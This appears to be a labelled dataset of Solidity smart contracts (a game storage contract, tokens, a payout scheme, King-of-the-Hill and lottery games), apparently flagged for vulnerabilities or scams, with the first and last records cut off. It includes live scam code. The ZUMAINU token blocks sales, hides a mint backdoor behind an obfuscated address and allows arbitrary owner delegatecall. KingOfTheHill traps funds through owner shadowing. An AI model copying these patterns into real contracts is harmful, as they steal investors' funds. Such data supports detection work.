function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,900 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemsInterfaceForEternalStorage {
function createShip(uint256 _itemId) public;
function createRadar(uint256 _itemId) public;
function createScanner(uint256 _itemId) public;
function createDroid(uint256 _itemId) public;
function createFuel(uint256 _itemId) public;
function createGenerator(uint256 _itemId) public;
function createEngine(uint256 _itemId) public;
function createGun(uint256 _itemId) public;
function createMicroModule(uint256 _itemId) public;
function createArtefact(uint256 _itemId) public;
function addItem(string _itemType) public returns(uint256);
}
contract EternalStorage {
ItemsInterfaceForEternalStorage private mI;
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => uint256[]) private uintArrayStorage;
mapping(bytes32 => string) private stringStorage;
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bytes) private bytesStorage;
mapping(bytes32 => bool) private boolStorage;
mapping(bytes32 => int256) private intStorage;
address private ownerOfStorage;
address private logicContractAddress;
mapping(address => uint256) private refunds;
constructor() public {
ownerOfStorage = msg.sender;
mI = ItemsInterfaceForEternalStorage(0x27B95A9231a022923e9b52d71bEB662Fdd5d6cbc);
}
modifier onlyOwnerOfStorage() {
require(msg.sender == ownerOfStorage);
_;
}
modifier onlyLogicContract() {
require(msg.sender == logicContractAddress);
_;
}
function initWithShips() public onlyOwnerOfStorage {
createShip(1, 'Titanium Ranger Hull', 200, 2, 0.18 ether);
createShip(2, 'Platinum Ranger Hull', 400, 4, 0.45 ether);
createShip(3, 'Adamantium Ranger Hull', 600, 7, 0.9 ether);
}
function addReferrer(address _referrerWalletAddress, uint256 referrerPrize) public onlyLogicContract {
refunds[_referrerWalletAddress] += referrerPrize;
}
function widthdrawRefunds(address _owner) public onlyLogicContract returns(uint256) {
uint256 refund = refunds[_owner];
refunds[_owner] = 0;
return refund;
}
function checkRefundExistanceByOwner(address _owner) public view onlyLogicContract returns(uint256) {
return refunds[_owner];
}
function buyItem(uint256 _itemId, address _newOwner, string _itemTitle, string _itemTypeTitle) public onlyLogicContract returns(uint256) {
uint256 newItemId = mI.addItem(_itemTitle);
uintStorage[_b3(_itemTypeTitle, newItemId)] = _itemId;
addressStorage[_b4(_itemTitle, newItemId)] = _newOwner;
return _itemId;
}
function _b1(string _itemType, uint256 _itemId, string _property) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId, _property));
}
function _b3(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId));
}
function _b4(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked("owner", _itemType, _itemId));
}
function getOwnerByItemTypeAndId(string _itemType, uint256 _itemId) public onlyLogicContract view returns(address) {
return addressStorage[_b4(_itemType, _itemId)];
}
function getItemTypeIdByTypeAndId(string _itemTypeTitle, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b3(_itemTypeTitle, _itemId)];
}
function getItemPriceById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b1(_itemType, _itemId, "price")];
}
function getTypicalItemById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_itemId,
stringStorage[_b1(_itemType, _itemId, "name")],
uintStorage[_b1(_itemType, _itemId, "value")],
uintStorage[_b1(_itemType, _itemId, "price")],
uintStorage[_b1(_itemType, _itemId, "durability")]
);
}
function getShipById(uint256 _shipId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_shipId,
stringStorage[_b1("ships", _shipId, "name")],
uintStorage[_b1("ships", _shipId, "hp")],
uintStorage[_b1("ships", _shipId, "block")],
uintStorage[_b1("ships", _shipId, "price")]
);
}
function getEngineById(uint256 _engineId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256,
uint256
) {
return (
_engineId,
stringStorage[_b1("engines", _engineId, "name")],
uintStorage[_b1("engines", _engineId, "speed")],
uintStorage[_b1("engines", _engineId, "giper")],
uintStorage[_b1("engines", _engineId, "price")],
uintStorage[_b1("engines", _engineId, "durability")]
);
}
function getGunByIdPart1(uint256 _gunId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_gunId,
stringStorage[_b1("guns", _gunId, "name")],
uintStorage[_b1("guns", _gunId, "min")],
uintStorage[_b1("guns", _gunId, "max")]
);
}
function getGunByIdPart2(uint256 _gunId) public onlyLogicContract view returns(
uint256,
uint256,
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("guns", _gunId, "radius")],
uintStorage[_b1("guns", _gunId, "recharge")],
uintStorage[_b1("guns", _gunId, "ability")],
uintStorage[_b1("guns", _gunId, "price")],
uintStorage[_b1("guns", _gunId, "durability")]
);
}
function getMicroModuleByIdPart1(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_microModuleId,
stringStorage[_b1("microModules", _microModuleId, "name")],
uintStorage[_b1("microModules", _microModuleId, "itemType")],
uintStorage[_b1("microModules", _microModuleId, "bonusType")]
);
}
function getMicroModuleByIdPart2(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("microModules", _microModuleId, "bonus")],
uintStorage[_b1("microModules", _microModuleId, "level")],
uintStorage[_b1("microModules", _microModuleId, "price")]
);
}
function getArtefactById(uint256 _artefactId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_artefactId,
stringStorage[_b1("artefacts", _artefactId, "name")],
uintStorage[_b1("artefacts", _artefactId, "itemType")],
uintStorage[_b1("artefacts", _artefactId, "bonusType")],
uintStorage[_b1("artefacts", _artefactId, "bonus")]
);
}
function createShip(uint256 _shipId, string _name, uint256 _hp, uint256 _block, uint256 _price) public onlyOwnerOfStorage {
mI.createShip(_shipId);
stringStorage[_b1("ships", _shipId, "name")] = _name;
uintStorage[_b1("ships", _shipId, "hp")] = _hp;
uintStorage[_b1("ships", _shipId, "block")] = _block;
uintStorage[_b1("ships", _shipId, "price")] = _price;
}
function _update(string _itemType, uint256 _itemId, string _name, uint256 _value, uint256 _price, uint256 _durability) private {
stringStorage[_b1(_itemType, _itemId, "name")] = _name;
uintStorage[_b1(_itemType, _itemId, "value")] = _value;
uintStorage[_b1(_itemType, _itemId, "price")] = _price;
uintStorage[_b1(_itemType, _itemId, "durability")] = _durability;
}
function createRadar(uint256 _radarId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createRadar(_radarId);
_update("radars", _radarId, _name, _value, _price, _durability);
}
function createScanner(uint256 _scannerId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createScanner(_scannerId);
_update("scanners", _scannerId, _name, _value, _price, _durability);
}
function createDroid(uint256 _droidId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createDroid(_droidId);
_update("droids", _droidId, _name, _value, _price, _durability);
}
function createFuel(uint256 _fuelId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createFuel(_fuelId);
_update("fuels", _fuelId, _name, _value, _price, _durability);
}
function createGenerator(uint256 _generatorId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGenerator(_generatorId);
_update("generators", _generatorId, _name, _value, _price, _durability);
}
function createEngine(uint256 _engineId, string _name, uint256 _speed, uint256 _giper, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createEngine(_engineId);
stringStorage[_b1("engines", _engineId, "name")] = _name;
uintStorage[_b1("engines", _engineId, "speed")] = _speed;
uintStorage[_b1("engines", _engineId, "giper")] = _giper;
uintStorage[_b1("engines", _engineId, "price")] = _price;
uintStorage[_b1("engines", _engineId, "durability")] = _durability;
}
function createGun(uint256 _gunId, string _name, uint256 _min, uint256 _max, uint256 _radius, uint256 _recharge, uint256 _ability, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGun(_gunId);
stringStorage[_b1("guns", _gunId, "name")] = _name;
uintStorage[_b1("guns", _gunId, "min")] = _min;
uintStorage[_b1("guns", _gunId, "max")] = _max;
uintStorage[_b1("guns", _gunId, "radius")] = _radius;
uintStorage[_b1("guns", _gunId, "recharge")] = _recharge;
uintStorage[_b1("guns", _gunId, "ability")] = _ability;
uintStorage[_b1("guns", _gunId, "price")] = _price;
uintStorage[_b1("guns", _gunId, "durability")] = _durability;
}
function createMicroModule(uint256 _microModuleId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus, uint256 _level, uint256 _price) public onlyOwnerOfStorage {
mI.createMicroModule(_microModuleId);
stringStorage[_b1("microModules", _microModuleId, "name")] = _name;
uintStorage[_b1("microModules", _microModuleId, "itemType")] = _itemType;
uintStorage[_b1("microModules", _microModuleId, "bonusType")] = _bonusType;
uintStorage[_b1("microModules", _microModuleId, "bonus")] = _bonus;
uintStorage[_b1("microModules", _microModuleId, "level")] = _level;
uintStorage[_b1("microModules", _microModuleId, "price")] = _price;
}
function createArtefact(uint256 _artefactId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus) public onlyOwnerOfStorage {
mI.createArtefact(_artefactId);
stringStorage[_b1("artefacts", _artefactId, "name")] = _name;
uintStorage[_b1("artefacts", _artefactId, "itemType")] = _itemType;
uintStorage[_b1("artefacts", _artefactId, "bonusType")] = _bonusType;
uintStorage[_b1("artefacts", _artefactId, "bonus")] = _bonus;
}
function setNewPriceToItem(string _itemType, uint256 _itemTypeId, uint256 _newPrice) public onlyLogicContract {
uintStorage[_b1(_itemType, _itemTypeId, "price")] = _newPrice;
}
function transferOwnershipOfStorage(address _newOwnerOfStorage) public onlyOwnerOfStorage {
_transferOwnershipOfStorage(_newOwnerOfStorage);
}
function _transferOwnershipOfStorage(address _newOwnerOfStorage) private {
require(_newOwnerOfStorage != address(0));
ownerOfStorage = _newOwnerOfStorage;
}
function changeLogicContractAddress(address _newLogicContractAddress) public onlyOwnerOfStorage {
_changeLogicContractAddress(_newLogicContractAddress);
}
function _changeLogicContractAddress(address _newLogicContractAddress) private {
require(_newLogicContractAddress != address(0));
logicContractAddress = _newLogicContractAddress;
}
} | 1 | 3,454 |
pragma solidity ^0.4.21 ;
contract NDD_BOO_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " NDD_BOO_I_883 " ;
string public symbol = " NDD_BOO_I_1subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 298914476075191000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,776 |
pragma solidity ^0.4.24;
contract TheWarRedNation
{
struct _Tx {
address txuser;
uint txvalue;
}
_Tx[] public Tx;
uint public counter;
address owner;
modifier onlyowner
{
if (msg.sender == owner)
_;
}
constructor () public {
owner = msg.sender;
}
function() public payable {
require(msg.value>=0.01 ether);
Sort();
}
function Sort() internal
{
uint feecounter;
feecounter=msg.value/5;
owner.send(feecounter);
feecounter=0;
uint txcounter=Tx.length;
counter=Tx.length;
Tx.length++;
Tx[txcounter].txuser=msg.sender;
Tx[txcounter].txvalue=msg.value;
}
function Count(uint end, uint start) public onlyowner {
while (end>start) {
Tx[end].txuser.send((Tx[end].txvalue/1000)*200);
end-=1;
}
}
} | 1 | 3,230 |
pragma solidity ^0.4.11;
contract Owned {
address owner; function Owned() {
owner = msg.sender;
}
modifier onlyOwner{
if (msg.sender != owner)
revert(); _;
}
}
contract KingOfTheHill is Owned {
address public owner;
uint public jackpot;
uint public withdrawDelay;
function() public payable {
if (msg.value > jackpot) {
owner = msg.sender;
withdrawDelay = block.timestamp + 5 days;
}
jackpot+=msg.value;
}
function takeAll() public onlyOwner {
require(block.timestamp >= withdrawDelay);
msg.sender.transfer(this.balance);
jackpot=0;
}
} | 0 | 1,932 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ZUMAINU{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,788 |
pragma solidity ^0.4.24;
contract DigitalGame {
uint constant MIN_BET_MONEY = 10 finney;
uint constant MAX_BET_MONEY = 10 ether;
uint constant MIN_BET_NUMBER = 2;
uint constant MAX_STAGE = 4;
uint constant FIRST_GENERATION_REWARD = 3;
uint constant SECOND_GENERATION_REWARD = 2;
uint constant THIRD_GENERATION_REWARD = 1;
address public OWNER_ADDR;
address public RECOMM_ADDR;
address public SPARE_RECOMM_ADDR;
struct UserRecomm {
address addr;
}
struct StageInfo {
uint round;
bytes32 seedHash;
uint userNumber;
uint amount;
uint lastTime;
}
struct UserBet {
address addr;
uint amount;
uint[] content;
uint count;
uint createAt;
}
address[] private userRecomms;
UserBet[] private WaitAwardBets;
mapping(uint => StageInfo) public stages;
mapping(address => address) public users;
mapping(uint => UserBet[]) public userBets;
mapping(uint => mapping(uint => mapping(address => bool))) private userBetAddrs;
event eventUserBet(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint createAt
);
event eventLottery(
string eventType,
uint stage,
uint round,
uint[] lotteryContent,
uint createAt
);
event eventDividend(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint level,
address recommAddr,
uint recommReward,
uint createAt
);
event eventReward(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint[] lotteryContent,
uint reward,
uint createAt
);
modifier checkBetTime(uint lastTime) {
require(now <= lastTime, 'Current time is not allowed to bet');
_;
}
modifier checkRewardTime(uint lastTime) {
require(
now >= lastTime + 1 hours,
'Current time is not allowed to reward'
);
_;
}
modifier isSecretNumber(uint stage, string seed) {
require(
keccak256(abi.encodePacked(seed)) == stages[stage].seedHash,
'Encrypted numbers are illegal'
);
_;
}
modifier verifyStage(uint stage) {
require(
stage >= 1 && stage <= MAX_STAGE,
'Stage no greater than MAX_STAGE'
);
_;
}
modifier verifySeedHash(uint stage, bytes32 seedHash) {
require(
stages[stage].seedHash == seedHash && seedHash != 0,
'The hash of the stage is illegal'
);
_;
}
modifier onlyOwner() {
require(OWNER_ADDR == msg.sender, 'Permission denied');
_;
}
constructor(bytes32[4] hashes, uint lastTime) public {
for (uint i = 1; i <= MAX_STAGE; i++) {
stages[i].round = 1;
stages[i].seedHash = hashes[i-1];
stages[i].userNumber = 0;
stages[i].amount = 0;
stages[i].lastTime = lastTime;
}
OWNER_ADDR = msg.sender;
RECOMM_ADDR = msg.sender;
SPARE_RECOMM_ADDR = msg.sender;
}
function bet(
uint stage,
uint round,
uint[] content,
uint count,
address recommAddr,
bytes32 seedHash
) public
payable
verifyStage(stage)
verifySeedHash(stage, seedHash)
checkBetTime(stages[stage].lastTime) {
require(stages[stage].round == round, 'Round illegal');
require(content.length == 3, 'The bet is 3 digits');
require((
msg.value >= MIN_BET_MONEY
&& msg.value <= MAX_BET_MONEY
&& msg.value == MIN_BET_MONEY * (10 ** (stage - 1)) * count
),
'The amount of the bet is illegal'
);
require(msg.sender != recommAddr, 'The recommender cannot be himself');
if (users[msg.sender] == 0) {
if (recommAddr != RECOMM_ADDR) {
require(
users[recommAddr] != 0,
'Referrer is not legal'
);
}
users[msg.sender] = recommAddr;
}
generateUserRelation(msg.sender, 3);
require(userRecomms.length <= 3, 'User relationship error');
sendInviteDividends(stage, round, count, content);
if (!userBetAddrs[stage][stages[stage].round][msg.sender]) {
stages[stage].userNumber++;
userBetAddrs[stage][stages[stage].round][msg.sender] = true;
}
userBets[stage].push(UserBet(
msg.sender,
msg.value,
content,
count,
now
));
emit eventUserBet(
'userBet',
msg.sender,
msg.value,
stage,
round,
count,
content,
now
);
}
function generateUserRelation(
address addr,
uint generation
) private returns(bool) {
userRecomms.push(users[addr]);
if (users[addr] != RECOMM_ADDR && users[addr] != 0 && generation > 1) {
generateUserRelation(users[addr], generation - 1);
}
}
function sendInviteDividends(
uint stage,
uint round,
uint count,
uint[] content
) private {
uint[3] memory GENERATION_REWARD = [
FIRST_GENERATION_REWARD,
SECOND_GENERATION_REWARD,
THIRD_GENERATION_REWARD
];
uint recomms = 0;
for (uint j = 0; j < userRecomms.length; j++) {
recomms += msg.value * GENERATION_REWARD[j] / 100;
userRecomms[j].transfer(msg.value * GENERATION_REWARD[j] / 100);
emit eventDividend(
'dividend',
msg.sender,
msg.value,
stage,
round,
count,
content,
j,
userRecomms[j],
msg.value * GENERATION_REWARD[j] / 100,
now
);
}
stages[stage].amount += (msg.value - recomms);
delete userRecomms;
}
function distributionReward(
uint stage,
string seed,
bytes32 seedHash
) public
checkRewardTime(stages[stage].lastTime)
isSecretNumber(stage, seed)
verifyStage(stage)
onlyOwner {
if (stages[stage].userNumber >= MIN_BET_NUMBER) {
uint[] memory randoms = generateRandom(
seed,
stage,
userBets[stage].length
);
require(randoms.length == 3, 'Random number is illegal');
bool isReward = CalcWinnersAndReward(randoms, stage);
emit eventLottery(
'lottery',
stage,
stages[stage].round,
randoms,
now
);
if (isReward) {
stages[stage].amount = 0;
}
delete userBets[stage];
stages[stage].round += 1;
stages[stage].userNumber = 0;
stages[stage].seedHash = seedHash;
stages[stage].lastTime += 24 hours;
} else {
stages[stage].lastTime += 24 hours;
}
}
function CalcWinnersAndReward(
uint[] randoms,
uint stage
) private onlyOwner returns(bool) {
uint counts = 0;
for (uint i = 0; i < userBets[stage].length; i++) {
if (randoms[0] == userBets[stage][i].content[0]
&& randoms[1] == userBets[stage][i].content[1]
&& randoms[2] == userBets[stage][i].content[2]) {
counts = counts + userBets[stage][i].count;
WaitAwardBets.push(UserBet(
userBets[stage][i].addr,
userBets[stage][i].amount,
userBets[stage][i].content,
userBets[stage][i].count,
userBets[stage][i].createAt
));
}
}
if (WaitAwardBets.length == 0) {
for (uint j = 0; j < userBets[stage].length; j++) {
if ((randoms[0] == userBets[stage][j].content[0]
&& randoms[1] == userBets[stage][j].content[1])
|| (randoms[1] == userBets[stage][j].content[1]
&& randoms[2] == userBets[stage][j].content[2])
|| (randoms[0] == userBets[stage][j].content[0]
&& randoms[2] == userBets[stage][j].content[2])) {
counts += userBets[stage][j].count;
WaitAwardBets.push(UserBet(
userBets[stage][j].addr,
userBets[stage][j].amount,
userBets[stage][j].content,
userBets[stage][j].count,
userBets[stage][j].createAt
));
}
}
}
if (WaitAwardBets.length == 0) {
for (uint k = 0; k < userBets[stage].length; k++) {
if (randoms[0] == userBets[stage][k].content[0]
|| randoms[1] == userBets[stage][k].content[1]
|| randoms[2] == userBets[stage][k].content[2]) {
counts += userBets[stage][k].count;
WaitAwardBets.push(UserBet(
userBets[stage][k].addr,
userBets[stage][k].amount,
userBets[stage][k].content,
userBets[stage][k].count,
userBets[stage][k].createAt
));
}
}
}
uint extractReward = stages[stage].amount / 100;
OWNER_ADDR.transfer(extractReward);
RECOMM_ADDR.transfer(extractReward);
SPARE_RECOMM_ADDR.transfer(extractReward);
if (WaitAwardBets.length != 0) {
issueReward(stage, extractReward, randoms, counts);
delete WaitAwardBets;
return true;
}
stages[stage].amount = stages[stage].amount - (extractReward * 3);
return false;
}
function issueReward(
uint stage,
uint extractReward,
uint[] randoms,
uint counts
) private onlyOwner {
uint userAward = stages[stage].amount - (extractReward * 3);
for (uint m = 0; m < WaitAwardBets.length; m++) {
uint reward = userAward * WaitAwardBets[m].count / counts;
WaitAwardBets[m].addr.transfer(reward);
emit eventReward(
'reward',
WaitAwardBets[m].addr,
WaitAwardBets[m].amount,
stage,
stages[stage].round,
WaitAwardBets[m].count,
WaitAwardBets[m].content,
randoms,
reward,
now
);
}
}
function generateRandom(
string seed,
uint stage,
uint betNum
) private view onlyOwner
isSecretNumber(stage, seed) returns(uint[]) {
uint[] memory randoms = new uint[](3);
for (uint i = 0; i < 3; i++) {
randoms[i] = uint(
keccak256(abi.encodePacked(betNum, block.difficulty, seed, now, i))
) % 9 + 1;
}
return randoms;
}
function setDefaultRecommAddr(address _RECOMM_ADDR) public onlyOwner {
RECOMM_ADDR = _RECOMM_ADDR;
}
function setSpareRecommAddr(address _SPARE_RECOMM_ADDR) public onlyOwner {
